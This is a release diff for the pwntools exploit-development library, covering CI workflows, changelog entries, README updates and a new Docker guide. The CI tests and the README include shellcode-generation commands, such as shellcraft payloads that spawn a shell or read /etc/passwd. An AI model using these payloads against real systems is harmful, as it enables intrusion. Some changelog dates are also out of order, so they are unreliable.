Release 4.5.0

* Fix atexit on Python 3

`sys.exitfunc` was removed in Python 3, meaning that any handlers
registered with the `pwnlib/atexit.py` module wouldn't run. This PR
reigsters the handlers with the stdlib atexit.

* Update changelog

.coveragerc

@@ -1,10 +1,12 @@
 [run]
 branch = True
 parallel = True
+concurrency = thread,multiprocessing
 omit =
     */constants/*
 source =
     pwn
     pwnlib
-    ~/.pwntools-cache-2.7/
-    ~/.pwntools-cache-3.8/
+    ~/.cache/.pwntools-cache-2.7/
+    ~/.cache/.pwntools-cache-3.8/
+disable_warnings = module-not-imported

.github/ISSUE_TEMPLATE/feature_request.md

@@ -12,7 +12,7 @@ Thanks for contributing to Pwntools!   Ideas from the community help make Pwntoo
 If you've got an idea for a new feature, please provide information about:
 
 * What the feature does
-* Why the feature should exit
+* Why the feature should exist
 * What tests should be included
 
 If you think you can write the feature yourself, please submit a Pull Request and we can review your changes!

.github/PULL_REQUEST_TEMPLATE.md

@@ -25,3 +25,8 @@ You can always [change the branch][change] after you create the PR if it's again
 [contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
 [testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
 [change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
+
+## Changelog
+
+After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.  
+You can look at the existing changelog for examples of how to do this.

.github/workflows/changelog.yml

@@ -0,0 +1,29 @@
+name: Changelog
+on: [pull_request]
+env:
+  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
+
+jobs:
+  build:
+    strategy:
+      matrix:
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 5
+    steps:
+    - uses: actions/checkout@v2
+      with:
+        fetch-depth: 0
+
+    - name: Check changelog for updates
+      run: |
+        if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then
+           echo 'Changelog updated :D'
+        else
+           if git log --stat ${GITHUB_BASE}..HEAD | grep '++\|--'; then
+              echo 'Major changes detected, changelog required!'
+              false
+           else
+              echo 'Minor changes detected, no changelog required!'
+           fi
+        fi

.github/workflows/ci.yml

@@ -2,19 +2,22 @@ name: Continuous Integration
 on: [push, pull_request]
 
 jobs:
-  build:
+  test:
     strategy:
       matrix:
         python-version: [2.7, 3.8]
         os: [ubuntu-latest]
     runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
     steps:
     - uses: actions/checkout@v2
       with:
         fetch-depth: 0
 
-    - name: Git History 2
-      run: git log --oneline --graph -10
+    - name: Git History
+      run: |
+        git fetch origin
+        git log --oneline --graph -10
 
     - name: Cache for pip
       uses: actions/cache@v1
@@ -28,34 +31,20 @@ jobs:
       with:
         python-version: ${{ matrix.python-version }}
 
-    - name: Lint
-      run: |
-        pip install flake8
-        flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk  # TODO: Add F82
-        flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --exclude=pwnlib/constants,android-?dk,.git,__pycache__
-
-    - name: Detect whether java is needed
-      id: java-needed
+    - name: Verify tag against version
+      if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
       env:
         GITHUB_REF: ${{ github.event.ref }}
-        GITHUB_COMMIT_RANGE: ${{ github.event.before }}...${{ github.event.after }}
       run: |
-        if echo "$GITHUB_REF" | grep -Eq 'staging|tags'; then
-          echo "Found release or important branch ($GITHUB_REF), forcing tests."
-        elif ! git show "$GITHUB_COMMIT_RANGE" >/dev/null; then
-          echo 'Incorrect commit range, forcing android tests.'
-        elif git log --stat "$GITHUB_COMMIT_RANGE" | grep -iE 'android|\<adb\>'; then
-          echo 'Found Android-related commits, forcing tests.'
-        else
-          # clear files that cause Android doctests
-          : > docs/source/adb.rst > docs/source/protocols/adb.rst
-          exit 0
-        fi
-        echo ::set-output name=need::openjdk-8-jre-headless
+        set -x
+        GITHUB_TAG=${GITHUB_REF#refs/tags/}
+        echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$'
+        vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*")
+        vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*")
+        [ "$vsetup" = "$vpwnlib" ]
+        [ "$GITHUB_TAG" = "$vsetup" ]
 
     - name: Install Linux dependencies
-      env:
-        ANDROID_JRE: ${{ steps.java-needed.outputs.need }}
       run: |
         sudo apt-get update
         sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
@@ -65,18 +54,25 @@ jobs:
           binutils-aarch64-linux-gnu \
           binutils-arm-linux-gnueabihf \
           binutils-mips-linux-gnu \
+          binutils-msp430 \
           binutils-powerpc-linux-gnu \
+          binutils-s390x-linux-gnu \
+          binutils-sparc64-linux-gnu \
           gcc-multilib \
-          $ANDROID_JRE
-        sudo apt-get install -y -o Acquire::Retries=3 \
-          gcc-aarch64-linux-gnu \
-          gcc-arm-linux-gnueabihf
+          libc6-dbg
 
-    - name: Install android avd
-      if:  steps.java-needed.outputs.need
+    - name: Install RPyC for GDB
       run: |
-        USER=travis source travis/install.sh
-        set | egrep '^(ANDROID|PATH)' >.android.env
+        sudo apt-get install -y python3-pip
+        /usr/bin/python3 -m pip install rpyc
+
+    - name: Testing Corefiles
+      run: |
+        ulimit -a
+        ulimit -c unlimited
+        cat /proc/sys/kernel/core_pattern
+        cat /proc/sys/kernel/core_uses_pid
+        ( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash;) || true
 
     - name: Set up SSH
       run: |
@@ -95,17 +91,14 @@ jobs:
     - name: Install documentation dependencies
       run:  pip install -r docs/requirements.txt
 
-    - name: Disable broken tests
-      run: |
-        rm -f docs/source/elf/corefile.rst
-        rm -f docs/source/ui.rst
-
     - name: Manually install non-broken Unicorn
       run:  pip install unicorn==1.0.2rc3
 
+    - name: Version Check
+      run:  PWNLIB_NOTERM=1 pwn version
+
     - name: Coverage doctests
       run: |
-        source .android.env || :
         echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
         PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
 
@@ -123,26 +116,45 @@ jobs:
     - name: Coverage running commandline tools
       run: |
         export TERM=linux
-        pwn() { coverage run -m pwnlib.commandline.main "$@"; }
+        pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec coverage run -m pwnlib.commandline."$cmd" "$@" ) }
         set -x
 
         pwn cyclic 32
         pwn cyclic -l 0x62616161
+        pwn cyclic -a ab
+        echo
 
+        pwn shellcraft --list |tail
+        pwn shellcraft -l --syscalls |tail
+        pwn shellcraft -l execve
+        pwn shellcraft --show i386.linux.loader_append
         pwn shellcraft -f asm --color amd64.linux.sh
+        pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
+        pwn shellcraft -f i   --color amd64.linux.cat /etc/passwd </dev/null
+        pwn shellcraft -f c   amd64.linux.syscalls.exit 0 </dev/null
+        pwn shellcraft -f str aarch64.linux.sh </dev/null
+        pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
+        pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
+        pwn shellcraft -fp aarch64.trap
 
         pwn disasm --color ff3424c3ebfe
+        pwn asm -f hex nop
 
         pwn hex abcd
         pwn unhex 4141 4141
 
-        head -c256 /dev/urandom | pwn phd
+        cat /dev/urandom | pwn phd --color -c 256 -s 2
+        pwn phd -l 0x3d --color=always /etc/os-release
+
+        pwn checksec /bin/bash
 
         pwn errno 2
+        pwn errno -1
+        pwn errno EADDRINUSE
 
         pwn constgrep -c freebsd -m ^PROT_ '3 + 4'
         pwn constgrep ^MAP_ 0
-        pwn constgrep ^O_
+        pwn constgrep -e O_RDWR
 
     - name: Build source and wheel distributions
       run: |
@@ -162,7 +174,7 @@ jobs:
   staging-merge:
     runs-on: ubuntu-latest
     if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
-    needs: build
+    needs: test
     steps:
     - uses: actions/checkout@v2
       with:
@@ -175,11 +187,12 @@ jobs:
         TARGET=${BRANCH%-staging}
         git branch -f "$TARGET"
         git push origin "$TARGET"
+        git push origin --delete "$BRANCH"
 
   pypi:
     runs-on: ubuntu-latest
     if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
-    needs: build
+    needs: test
     steps:
     - name: Download artifacts
       uses: actions/download-artifact@v2

.github/workflows/lint.yml

@@ -0,0 +1,35 @@
+name: Lint
+on: [push, pull_request]
+
+jobs:
+  lint:
+    strategy:
+      matrix:
+        python-version: [3.8]
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
+    steps:
+    - uses: actions/checkout@v2
+    - name: Cache for pip
+      uses: actions/cache@v1
+      id: cache-pip
+      with:
+        path: ~/.cache/pip
+        key: ${{ matrix.os }}-cache-pip
+
+    - name: Set up Python ${{ matrix.python-version }}
+      uses: actions/setup-python@v1
+      with:
+        python-version: ${{ matrix.python-version }}
+
+    - name: Critical lint
+      run: |
+        pip install flake8
+        flake8 . --count --select=E9,F63,F7,E71 --show-source --statistics --exclude=android-?dk  # TODO: Add F82
+
+    - name: Style lint
+      run: |
+        flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
+        flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'
+        flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'

.github/workflows/merge-conflict.yml

@@ -0,0 +1,28 @@
+name: Check for merge markers
+on: [pull_request]
+env:
+  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
+
+jobs:
+  mergecheck:
+    strategy:
+      matrix:
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 5
+    steps:
+    - uses: actions/checkout@v2
+      with:
+        fetch-depth: 0
+
+    - name: Check for merge conflict markers commited
+      run: |
+        if git show ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+\+(>>>>>|=====|<<<<<)'; then
+            echo 'WARNING: Merge marker commits found in history.'
+            if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+(>>>>>|=====|<<<<<)'; then
+                echo 'ERROR: Merge markers still present! Do something!'
+                exit 1
+            fi
+        else
+            echo 'Congrats! All the merges you did were clean or resolved correctly :)'
+        fi

.github/workflows/pylint.yml

@@ -0,0 +1,37 @@
+name: PyLint
+on: [pull_request]
+
+jobs:
+  build:
+    strategy:
+      matrix:
+        python-version: [3.8]
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
+    steps:
+    - uses: actions/checkout@v2
+    - name: Cache for pip
+      uses: actions/cache@v1
+      id: cache-pip
+      with:
+        path: ~/.cache/pip
+        key: ${{ matrix.os }}-cache-pip
+
+    - name: Set up Python ${{ matrix.python-version }}
+      uses: actions/setup-python@v1
+      with:
+        python-version: ${{ matrix.python-version }}
+
+    - name: PyLint
+      run: |
+        set -x
+        pip install pylint
+        pip install --upgrade -r requirements.txt
+        pylint --exit-zero --errors-only  pwnlib > current.txt
+        git fetch origin
+        git checkout origin/"$GITHUB_BASE_REF"
+        pylint --exit-zero --errors-only  pwnlib > base.txt
+        if diff base.txt current.txt | grep '>'; then
+          false
+        fi

.gitignore

@@ -16,3 +16,4 @@ venv
 *.egg-info
 *.core
 .coverage
+.coverage.*

.travis.yml

@@ -19,11 +19,12 @@ addons:
     - binutils-aarch64-linux-gnu
     - binutils-arm-linux-gnueabihf
     - binutils-mips-linux-gnu
+    - binutils-msp430
     - binutils-powerpc-linux-gnu
-    - gcc-aarch64-linux-gnu
-    - gcc-arm-linux-gnueabihf
+    - binutils-s390x-linux-gnu
+    - binutils-sparc64-linux-gnu
     - bash-static
-
+    - python3-pip
 cache:
     - pip
     - directories:
@@ -42,6 +43,7 @@ before_install:
   - source travis/ssh_setup.sh
   - echo $-
 install:
+  - /usr/bin/python3 -m pip install rpyc # for GDB
   - pip install --upgrade pip
   - pip install --upgrade flake8 appdirs # https://github.com/ActiveState/appdirs/issues/89#issuecomment-282326570
   - python setup.py egg_info      # pypa/pip#6275

CHANGELOG.md

@@ -9,9 +9,19 @@ The table below shows which release corresponds to each branch, and what date th
 
 | Version          | Branch   | Release Date           |
 | ---------------- | -------- | ---------------------- |
-| [4.3.0](#430)    | `dev`    | Jun 30, 2020 (planned)
-| [4.2.0](#420)    | `beta`   | Jun 5, 2020 (planned)
-| [4.1.1](#411)    | `stable` | Jun 3, 2020
+| [4.7.0](#470)    | `dev`    | May 29, 2020 (planned)
+| [4.6.0](#460)    | `beta`   | May 29, 2020 (planned)
+| [4.5.0](#450)    | `stable` | Apr 30, 2020
+| [4.4.0](#440)    |          | Mar 29, 2020
+| [4.3.1](#431)    |          | Nov 29, 2020
+| [4.3.0](#430)    |          | Oct 20, 2020
+| [4.2.0](#420)    |          | Jul 3, 2020
+| [4.1.7](#417)    |          | Jun 30, 2020
+| [4.1.5](#415)    |          | Jun 27, 2020
+| [4.1.4](#414)    |          | Jun 26, 2020
+| [4.1.3](#413)    |          | Jun 23, 2020
+| [4.1.2](#412)    |          | Jun 5, 2020
+| [4.1.1](#411)    |          | Jun 3, 2020
 | [4.1.0](#410)    |          | May 8, 2020
 | [4.0.1](#401)    |          | Jan 22, 2020
 | [4.0.0](#400)    |          | Jan 09, 2020
@@ -49,13 +59,169 @@ The table below shows which release corresponds to each branch, and what date th
 | [3.0.0](#300)    |          | Aug 20, 2016
 | [2.2.0](#220)    |          | Jan 5, 2015
 
-## 4.3.0 (`dev`)
+## 4.7.0 (`dev`)
 
-To be released on Jun 30, 2020.
+- [#1429][1429] Add a mechanism for ret2csu (originally #1138)
+- [#1566][1566] Add `ignore_config` argument to `pwnlib.tubes.ssh` and improve `allow_agent` implementation
+- [#1652][1652] Add `process.readmem` and `process.writemem`
+- [#1739][1739] Add/fix shellcraft.linux.kill() / shellcraft.linux.killparent()
+- [#1746][1746] Prefer Python3 over Python2 for spawning remote processes over SSH
+- [#1751][1751] Fix process() with executable relative to cwd
+- [#1753][1753] major change: less unconditional imports in pwnlib
+- [#1776][1776] mips: do not use $t0 temporary variable in dupio
+- [#1846][1846] support launching GDB in more different terminals
 
-## 4.2.0 (`beta`)
+[1429]: https://github.com/Gallopsled/pwntools/pull/1429
+[1566]: https://github.com/Gallopsled/pwntools/pull/1566
+[1652]: https://github.com/Gallopsled/pwntools/pull/1652
+[1739]: https://github.com/Gallopsled/pwntools/pull/1739
+[1746]: https://github.com/Gallopsled/pwntools/pull/1746
+[1751]: https://github.com/Gallopsled/pwntools/pull/1751
+[1753]: https://github.com/Gallopsled/pwntools/pull/1753
+[1776]: https://github.com/Gallopsled/pwntools/pull/1776
+[1846]: https://github.com/Gallopsled/pwntools/pull/1846
 
-To be released on Jun 5, 2020.
+## 4.6.0 (`beta`)
+
+- [#1429][1429] Add a mechanism for ret2csu (originally #1138)
+- [#1566][1566] Add `ignore_config` argument to `pwnlib.tubes.ssh` and improve `allow_agent` implementation
+- [#1652][1652] Add `process.readmem` and `process.writemem`
+- [#1739][1739] Add/fix shellcraft.linux.kill() / shellcraft.linux.killparent()
+- [#1746][1746] Prefer Python3 over Python2 for spawning remote processes over SSH
+- [#1751][1751] Fix process() with executable relative to cwd
+- [#1753][1753] major change: less unconditional imports in pwnlib
+- [#1776][1776] mips: do not use $t0 temporary variable in dupio
+- [#1846][1846] support launching GDB in more different terminals
+
+[1429]: https://github.com/Gallopsled/pwntools/pull/1429
+[1566]: https://github.com/Gallopsled/pwntools/pull/1566
+[1652]: https://github.com/Gallopsled/pwntools/pull/1652
+[1739]: https://github.com/Gallopsled/pwntools/pull/1739
+[1746]: https://github.com/Gallopsled/pwntools/pull/1746
+[1751]: https://github.com/Gallopsled/pwntools/pull/1751
+[1753]: https://github.com/Gallopsled/pwntools/pull/1753
+[1776]: https://github.com/Gallopsled/pwntools/pull/1776
+[1846]: https://github.com/Gallopsled/pwntools/pull/1846
+
+## 4.5.0 (`stable`)
+
+- [#1261][1261] Misc `run_in_new_terminal` improvements (notably gdb terminated by default)
+- [#1695][1695] Allow using GDB Python API
+- [#1735][1735] Python 3.9 support in safeeval
+- [#1738][1738] Which function support custom search path
+  - process also looks now at `env['PATH']` to find the path for the executable
+- [#1742][1742] New `baremetal` os to debug binaries executed with qemu-system-$(arch)
+- [#1757][1757] update cache directories
+- [#1758][1758] Remove eval from cli
+- [#1780][1780] Re-add Python2 to the official Dockerfile
+- [#1941][1941] Disable all Android tests, `pwnlib.adb` is no longer supported in CI
+- [#1811][1811] Remove unnecessary `pwn.toplevel.__all__`
+- [#1827][1827] Support `$XDG_CONFIG_HOME` dir for `pwn.conf`
+- [#1841][1841] Add colored_traceback
+- [#1839][1839] run_in_new_terminal now creates a runner script if given a list or tuple
+- [#1833][1833] Add pwnlib.filesystem module
+- [#1852][1852] Fix `atexit` on Python 3
+
+[1261]: https://github.com/Gallopsled/pwntools/pull/1261
+[1695]: https://github.com/Gallopsled/pwntools/pull/1695
+[1735]: https://github.com/Gallopsled/pwntools/pull/1735
+[1738]: https://github.com/Gallopsled/pwntools/pull/1738
+[1742]: https://github.com/Gallopsled/pwntools/pull/1742
+[1757]: https://github.com/Gallopsled/pwntools/pull/1757
+[1758]: https://github.com/Gallopsled/pwntools/pull/1758
+[1780]: https://github.com/Gallopsled/pwntools/pull/1780
+[1941]: https://github.com/Gallopsled/pwntools/pull/1941
+[1811]: https://github.com/Gallopsled/pwntools/pull/1811
+[1827]: https://github.com/Gallopsled/pwntools/pull/1827
+[1841]: https://github.com/Gallopsled/pwntools/pull/1841
+[1839]: https://github.com/Gallopsled/pwntools/pull/1839
+[1833]:  https://github.com/Gallopsled/pwntools/pull/1833
+[1852]: https://github.com/Gallopsled/pwntools/pull/1852
+
+## 4.4.0
+
+- [#1541][1541] Use `context.newline` for tubes by default
+- [#1602][1602] Fix bytes handling in ssh tubes
+- [#1606][1606] Fix `asm()` and `disasm()` for MSP430, S390
+- [#1616][1616] Fix `cyclic` cli for 64 bit integers
+- [#1632][1632] Enable usage of Pwntools in jupyter
+- [#1633][1633] Open a shell if `pwn template` cannot download the remote file
+- [#1644][1644] Enable and support SNI for SSL-wrapped tubes
+- [#1651][1651] Make `pwn shellcraft` faster
+- [#1654][1654] Docker images (`pwntools/pwntools:stable` etc) now use Python3 by default, and includes assemblers for a few common architectures
+- [#1667][1667] Add i386 encoder `ascii_shellcode` (Fixed docs in #1693)
+- Fix syscall instruction lists for SROP on `i386` and `amd64`
+- Fix migration to another ROP
+- [#1673][1673] Add `base=` argument to `ROP.chain()` and `ROP.dump()`
+- [#1675][1675] Gdbserver now correctly accepts multiple libraries in `LD_PRELOAD` and `LD_LIBRARY_PATH`
+- [#1678][1678] ROPGadget multibr
+- [#1682][1682] ROPGadget multibr fix
+- [#1687][1687] Actually import `requests` when doing `from pwn import *`
+- [#1688][1688] Add `__setattr__` and `__call__` interfaces to `ROP` for setting registers
+- [#1692][1692] Remove python2 shebangs where appropriate
+- [#1703][1703] Update libcdb buildid offsets for amd64 and i386
+- [#1704][1704] Try https://libc.rip/ for libcdb lookup
+
+[1541]: https://github.com/Gallopsled/pwntools/pull/1541
+[1602]: https://github.com/Gallopsled/pwntools/pull/1602
+[1606]: https://github.com/Gallopsled/pwntools/pull/1606
+[1616]: https://github.com/Gallopsled/pwntools/pull/1616
+[1632]: https://github.com/Gallopsled/pwntools/pull/1632
+[1633]: https://github.com/Gallopsled/pwntools/pull/1633
+[1644]: https://github.com/Gallopsled/pwntools/pull/1644
+[1651]: https://github.com/Gallopsled/pwntools/pull/1651
+[1654]: https://github.com/Gallopsled/pwntools/pull/1654
+[1667]: https://github.com/Gallopsled/pwntools/pull/1667
+[1673]: https://github.com/Gallopsled/pwntools/pull/1673
+[1675]: https://github.com/Gallopsled/pwntools/pull/1675
+[1678]: https://github.com/Gallopsled/pwntools/pull/1678
+[1682]: https://github.com/Gallopsled/pwntools/pull/1679
+[1687]: https://github.com/Gallopsled/pwntools/pull/1687
+[1688]: https://github.com/Gallopsled/pwntools/pull/1688
+[1692]: https://github.com/Gallopsled/pwntools/pull/1692
+[1703]: https://github.com/Gallopsled/pwntools/pull/1703
+[1704]: https://github.com/Gallopsled/pwntools/pull/1704
+
+## 4.3.1
+
+- [#1732][1732] Fix shellcraft SSTI vulnerability (first major pwntools vuln!)
+
+[1732]: https://github.com/Gallopsled/pwntools/pull/1732
+
+## 4.3.0
+
+- [#1576][1576] Add `executable=` argument to `ELF.search`
+- [#1584][1584] Add `jmp_esp`/`jmp_rsp` attribute to `ROP`
+- [#1592][1592] Fix over-verbose logging of process() environment
+- [#1593][1593] Colorize output of `pwn template`
+- [#1601][1601] Add `pwn version` command line tool
+- [#1605][1605] Add to `fiddling.hexdump` a way to suppress the total at the end
+- [#1613][1613] Permit `--password` for `pwn template`
+- [#1616][1616] Fix `cyclic` cli for 64 bit integers
+- [#1564][1564] Fix `asm()` and `disasm()` for PowerPC64, MIPS64, Sparc64
+- [#1621][1621] Permit negative values in flat() and fit()
+
+[1576]: https://github.com/Gallopsled/pwntools/pull/1576
+[1584]: https://github.com/Gallopsled/pwntools/pull/1584
+[1592]: https://github.com/Gallopsled/pwntools/pull/1592
+[1593]: https://github.com/Gallopsled/pwntools/pull/1593
+[1601]: https://github.com/Gallopsled/pwntools/pull/1601
+[1605]: https://github.com/Gallopsled/pwntools/pull/1605
+[1613]: https://github.com/Gallopsled/pwntools/pull/1613
+[1616]: https://github.com/Gallopsled/pwntools/pull/1616
+[1564]: https://github.com/Gallopsled/pwntools/pull/1564
+[1621]: https://github.com/Gallopsled/pwntools/pull/1621
+
+## 4.2.1
+
+- [#1625][1625] GDB now properly loads executables with QEMU
+- [#1663][1663] Change lookup algorithm of `adb.which`
+- [#1699][1699] Fix broken linux shellcraft templates
+
+[1625]: https://github.com/Gallopsled/pwntools/pull/1625
+[1699]: https://github.com/Gallopsled/pwntools/pull/1699
+
+## 4.2.0
 
 - [#1436][1436] Add ret2dlresolve automation
 - [fecf9f] tubes.ssh.process() no longer requires python 2 installed on remote (still requires python, though)
@@ -66,7 +232,38 @@ To be released on Jun 5, 2020.
 [fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f
 [1454]: https://github.com/Gallopsled/pwntools/pull/1454
 
-## 4.1.1 (`stable`)
+## 4.1.7 (`stable`)
+
+- [#1615][1615] Fix aarch64 pushstr and pushstr_array
+
+[1615]: https://github.com/Gallopsled/pwntools/pull/1454
+
+## 4.1.5
+
+- [#1517][1517] flat(..., filler=) is fixed for `str` values and Python2 `bytes`
+
+[1517]: https://github.com/Gallopsled/pwntools/pull/1517
+
+## 4.1.4
+
+- [#1698][1609] Fix issues in `packing.flat` with mis-ordred fields
+
+[1609]: https://github.com/Gallopsled/pwntools/pull/1609
+
+## 4.1.3
+
+- [#1590][1590] Fix `gdb.attach()` for `remote`, `listen`, `ssh` tubes
+  - Also fix `run_in_new_terminal` for Py2 unicode strings
+- [#1595][1595] Fix ssh.process(timeout=)
+
+[1590]: https://github.com/Gallopsled/pwntools/pull/1590
+[1595]: https://github.com/Gallopsled/pwntools/pull/1595
+
+## 4.1.2
+
+- Pwntools requires `six` v.1.12.0 or higher
+
+## 4.1.1
 
 - Fix PLT resolution by locking unicorn <1.0.2rc4 (#1538)
 - Fix wrong ELF/context unpack handling (c4c11a37)
@@ -89,7 +286,7 @@ To be released on Jun 5, 2020.
 [1001]: https://github.com/Gallopsled/pwntools/pull/1001
 [1389]: https://github.com/Gallopsled/pwntools/pull/1389
 [1241]: https://github.com/Gallopsled/pwntools/pull/1241
-[1218]: https://github.com/Gallopsled/pwntools/pull/1218  
+[1218]: https://github.com/Gallopsled/pwntools/pull/1218
 
 ## 4.0.1
 

DOCKER.md

@@ -0,0 +1,76 @@
+# Using Pwntools with Docker
+
+Sometimes it's annoying to set up Pwntools on your workstation, and you want something that Just Works (TM).
+
+[Docker](https://www.docker.com/) is here to the rescue! Using Docker means that you get a nice, standardized Linux environment and don't need to worry about pip or installing dependencies.
+
+## Quick Start
+
+First, install Docker for your OS, which you can find on their [Getting Started](https://www.docker.com/get-started) page.
+
+Next, download and run the Pwntools stable docker image.
+
+```sh
+$ docker run -it pwntools/pwntools:stable
+```
+
+## Recommended Settings
+
+In order to get the most from your docker image, we need to enable debugging of processes (`--privileged`) and expose the network ports from the guest to the host (`--net=host`).
+
+```sh
+$ docker run -it \
+    --privileged \
+    --net=host \
+    --hostname localhost \
+    --ulimit core=-1:-1 \
+    pwntools/pwntools:stable
+```
+
+## Sharing a Folder
+
+It's really nice to be able to use your preferred native editor, and have the changes show up live inside your Docker image.  This is easy to add, thanks to Docker's bind mounts (`--mount type=bind`).  
+
+With the command below, your `~/exploits` directory will magically show up inside the Docker image at `/home/pwntools/exploits` so that you can easily run them (from Docker) and edit them (from outside Docker).
+
+```sh
+$ mkdir $HOME/exploits
+
+$ vim $HOME/exploits/my_exploit.py
+
+$ docker run -it \
+    --privileged \
+    --net=host \
+    --hostname localhost \
+    --ulimit core=-1:-1 \
+    --mount type=bind,source="$HOME/exploits",target=/home/pwntools/exploits \
+    pwntools/pwntools:stable
+    
+$ python3 exploits/my_exploit.py
+```
+
+### Windows User Bind Mounts
+
+If you're a Windows user `$HOME` doesn't exist in the same way as on Linux, instead it is `%UserProfile%`.  The command from above would look like this, assuming your editor is Visual Studio Code and you have code.exe in your `%PATH%`.
+
+```sh
+C:\Users\user> mkdir Desktop\exploits
+
+C:\Users\user> code Desktop\exploits\my_exploit.py
+
+C:\Users\user> docker run -it \
+    --privileged \
+    --net=host \
+    --hostname localhost \
+    --ulimit core=-1:-1 \
+    --mount type=bind,source="%UserProfile%\Desktop\exploits",target=/home/pwntools/exploits \
+    pwntools/pwntools:stable
+    
+$ python3 exploits/my_exploit.py
+
+```
+
+
+
+
+

README.md

@@ -1,12 +1,14 @@
 # pwntools - CTF toolkit
 ![pwntools logo](https://github.com/Gallopsled/pwntools/blob/stable/docs/source/logo.png?raw=true)
 
-[![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
 [![PyPI](https://img.shields.io/pypi/v/pwntools?style=flat)](https://pypi.python.org/pypi/pwntools/)
-[![Travis](https://travis-ci.org/Gallopsled/pwntools.svg)](https://travis-ci.org/Gallopsled/pwntools)
-[![Coveralls](https://img.shields.io/coveralls/Gallopsled/pwntools/dev.svg)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
-[![Twitter](https://img.shields.io/badge/twitter-pwntools-4099FF.svg?style=flat)](https://twitter.com/pwntools)
+[![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
+[![Travis](https://img.shields.io/travis/Gallopsled/pwntools/dev?logo=Travis)](https://travis-ci.org/Gallopsled/pwntools)
+[![GitHub Workflow Status (branch)](https://img.shields.io/github/workflow/status/Gallopsled/pwntools/Continuous%20Integration/dev?logo=GitHub)](https://github.com/Gallopsled/pwntools/actions?query=workflow%3A%22Continuous+Integration%22+branch%3Adev)
+[![Coveralls](https://img.shields.io/coveralls/github/Gallopsled/pwntools/dev?logo=coveralls)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
 [![MIT License](https://img.shields.io/badge/license-MIT-blue.svg?style=flat)](http://choosealicense.com/licenses/mit/)
+[![Discord](https://img.shields.io/discord/809590285687980052?label=Discord&style=plastic)](https://discord.gg/96VA2zvjCB)
+[![Twitter](https://img.shields.io/twitter/follow/Pwntools)](https://twitter.com/pwntools)
 
 Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
 
@@ -20,29 +22,28 @@ r.send(asm(shellcraft.sh()))
 r.interactive()
 ```
 
-# Try It Now!
-
-You can now do a live demo of Pwntools, [right in your browser](https://demo.pwntools.com).
-
 # Documentation
 
 Our documentation is available at [docs.pwntools.com](https://docs.pwntools.com/)
 
+A series of tutorials is also [available online](https://github.com/Gallopsled/pwntools-tutorial#readme)
+
 To get you started, we've provided some example solutions for past CTF challenges in our [write-ups repository](https://github.com/Gallopsled/pwntools-write-ups).
 
 # Installation
 
-Pwntools is best supported on 64-bit Ubuntu LTE releases (12.04, 14.04, 16.04 and 18.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  Python >= 2.7 is required (Python 3 suggested as best).
+Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  
 
-Most of the functionality of pwntools is self-contained and Python-only.  You should be able to get running quickly with
+Python3 is suggested, but Pwntools still works with Python 2.7.  Most of the functionality of pwntools is self-contained and Python-only.  You should be able to get running quickly with
 
 ```sh
 apt-get update
 apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
 python3 -m pip install --upgrade pip
-python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev3
+python3 -m pip install --upgrade pwntools
 ```
 
+
 However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies.  For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).
 
 
@@ -50,8 +51,5 @@ However, some of the features (assembling/disassembling foreign architectures) r
 
 See [CONTRIBUTING.md](CONTRIBUTING.md)
 
-# Contact
